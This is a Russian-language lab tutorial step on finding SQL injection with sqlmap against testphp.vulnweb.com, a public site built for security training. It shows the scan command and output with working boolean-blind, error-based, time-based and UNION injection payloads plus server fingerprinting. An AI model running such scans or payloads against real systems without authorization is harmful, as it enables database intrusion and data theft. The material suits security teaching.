Обнаружение уязвимости SQL-инъекция
Теперь, когда sqlmap установлен, можно приступить к тестированию веб-приложения. В этой лабораторной работе мы будем использовать общедоступный сайт, специально созданный с уязвимостями для обучения безопасности. Первым шагом в любой атаке типа SQL-инъекция является поиск уязвимого параметра.
Целевой URL для этой работы: http://testphp.vulnweb.com/listproducts.php?cat=1. Параметр cat=1 является потенциальной точкой входа для инъекции. Мы воспользуемся sqlmap для автоматической проверки этого параметра.
Выполните следующую команду, чтобы начать тест. Флаг -u указывает целевой URL. Мы используем флаг --batch, чтобы sqlmap работал с ответами по умолчанию на все интерактивные вопросы, что делает процесс автоматическим и быстрым.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch
sqlmap проведет серию тестов по указанному адресу. Он проанализирует ответы сервера, чтобы определить, является ли параметр cat уязвимым. Этот процесс может занять минуту или две, так как инструмент перебирает различные методы SQL-инъекций.
После завершения сканирования изучите вывод. Вы должны найти раздел, подтверждающий наличие уязвимости.
Ожидаемый результат (сокращенно):
---
Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=1 AND 7125=7125
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: cat=1 AND GTID_SUBSET(CONCAT(0x71786a6a71,(SELECT (ELT(8227=8227,1))),0x716a627071),8227)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cat=1 AND (SELECT 7601 FROM (SELECT(SLEEP(5)))jbZM)
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a6a71,0x4a484f686a79456477714b47526758645944704b4645674b784a76507569597a494170424a766642,0x716a627071),NULL,NULL,NULL,NULL-- -
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'
Вывод подтверждает, что параметр cat уязвим к нескольким типам SQL-атак:
- Boolean-based blind: использует логику "истина/ложь" для извлечения данных.
- Error-based: эксплуатирует сообщения об ошибках базы данных для получения информации.
- Time-based blind: использует задержки в ответах для подтверждения инъекции.
- UNION query: объединяет результаты нескольких операторов SELECT.
Сканирование также определило, что в качестве СУБД используется MySQL версии 5.6 или выше, работающая на Linux Ubuntu с Nginx и PHP. Эта подробная информация ("отпечаток" системы) поможет на следующих этапах эксплуатации.